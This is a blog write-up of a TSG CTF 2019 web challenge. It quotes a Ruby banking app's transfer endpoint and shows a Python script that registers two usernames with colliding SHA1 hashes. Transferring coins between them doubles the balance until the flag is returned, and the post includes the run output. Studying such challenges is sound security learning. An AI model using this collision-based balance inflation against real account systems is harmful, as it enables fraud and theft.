Things I've learned and suspect I'll forget.
Yesterday I participated in the TSG CTF and I'll be posting a few of the challenges and solutions to the blog.
The prompt of the challenge is:
I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!!
The website links to source code and logging in shows that it is a banking application.
Looking at the source file shows that in order to get the flag the balance of the account should be greater than or equal to 10 billion.
get '/api/flag' do
return err(401, 'login first') unless user = session[:user]
hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
row = res.next
balance = row && row[0]
res.close
return err(401, 'login first') unless balance
return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000
json({flag: IO.binread('data/flag.txt')})
end
Before I get into how to solve the challenge, if you would like to try it on your own, you can build the server and run the challenge yourself by following the README file in this github repo
Poking around the website itself, I note the following: - New accounts are issued 100 coins - Users can transfer coins to another account
I could register 100 million accounts and have them all transfer coins to a single account. But that doesn't feel practical.
I decided to take a look at the transfer function to see if I could spot any vulnerabilities.
post '/api/transfer' do
return err(401, 'login first') unless src = session[:user]
return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
return err(400, 'bad request') unless amount = params[:amount] and String === amount
return err(400, 'bad request') unless amount = amount.to_i and amount > 0
sleep 1
hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
row = res.next
balance_src = row && row[0]
res.close
return err(422, 'no enough coins') unless balance_src >= amount
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
row = res.next
balance_dst = row && row[0]
res.close
return err(422, 'no such user') unless balance_dst
balance_src -= amount
balance_dst += amount
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst
json({amount: amount, balance: balance_src})
end
The api takes two arguments, a destination user account and an amount.
The amount to transfer must be greater than 0 and the usernames can not be the same
The usernames of the sender and the destination are both hashed, and the hashes are used to locate the records of the users in the database.
Seeing the dst != src
validation made me realize that if the usernames where the same
the transfer would give extra coins. This is because the new amount for the destination is
calculated using values obtained before the coins where subtracted from the sender.
The user's data is obtained from the database by the SHA1 hash of the user ID. So if we can get two different usernames but the same hash, we can add coins to our account and overwrite the effects of subtracting.
SHA1 is vulnerable to collisions, and researchers have figured out how to generate the same SHA1 hash from two different byte sequences.
This website provides a SHA1 collider. You can specify two files and it will return two PDFs with different data but each with the same SHA1 hash.
The first thing I wanted to do was test if the collision would work. I only have a passing knowledge of ruby and sinatra, so I wanted to see what the output of a collision would look like.
I spun up a docker instance
of the ruby server and modified the source to add the following to the /api/register
logic.
md5_user = Digest::MD5.hexdigest(user)
puts "register user SHA1 #{hashed_user} MD5 #{md5_user}"
Next I needed usernames to test with.
I uploaded two files, a.jpg
and b.jpg
which had 4 A and 4 B characters respectively
to the SHA1 collider. I then loaded the files in python and chopped them from the end
of the file until the hashes no longer matched. This left 2 different
sequences of 320 bytes with the same SHA1 hash.
I wrote python to register both byte sequences as usernames on the modified server, and watched the output.
The server had the following output, proving the two users have the same SHA1 hash.
127.0.0.1 - - [05/May/2019:22:30:33 +0000] "GET /index.html HTTP/1.1" 200 5341 0.0220
register user SHA1 ebbc34e8a20fa2d296fb09d1be253250d73a0720 MD5 7c2f61965501afba4ff7e84ee2c91853
127.0.0.1 - - [05/May/2019:22:30:34 +0000] "POST /api/register HTTP/1.1" 200 - 1.0135
register user SHA1 ebbc34e8a20fa2d296fb09d1be253250d73a0720 MD5 e427eb5d9a171094e7ba99b1e1d502b3
The full script of the attack can be seen in the solution file but I've taken the important parts and commented on them below.
The script works by registering a username (ua
) and then transferring all
available coins to ub
. Because ua
has the same hash as ub
the coins are
actually transfered to the ua
user.
def run_attack(base_url):
# We generate 4 random bytes to add at the of the usernames. This
# lets us rerun this script and not collide with a previously used
# username. We double check that the hashes are the same.
seed = secrets.token_bytes(4)
ua, ub = USER_A + seed, USER_B + seed
h1, h2 = hashlib.sha1(ua).hexdigest(), hashlib.sha1(ub).hexdigest()
assert h1 == h2
# Create a Session object, which will retain cookie values. Then
# register and login with our user.
s = requests.Session()
s.get(index_url)
s.post(register_url, data={"user":ua, "pass": 'a'*20})
s.post(login_url, data={"user":ua, "pass": 'a'*20})
# Get the balance of our user
r = s.post(balance_url, data={})
balance = r.json()['balance'] if 'balance' in r.json() else None
while balance is not None and balance < 10000000000:
if balance is None:
print('Could not read balance, exiting')
return
# Transfer all of the money in ua's account to ub
s.post(transfer_url, data={"amount":str(balance), "target": ub})
r = s.post(balance_url, data={})
balance = r.json()['balance'] if 'balance' in r.json() else None
print(balance)
r = s.get(flag_url)
print(r.json())
$ python solve.py http://34.85.75.40:19292
200
400
800
1600
3200
6400
12800
25600
51200
102400
204800
409600
819200
1638400
3276800
6553600
13107200
26214400
52428800
104857600
209715200
419430400
838860800
1677721600
3355443200
6710886400
13421772800
{'flag': 'TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}\n'}
published on 2019-05-05 by alex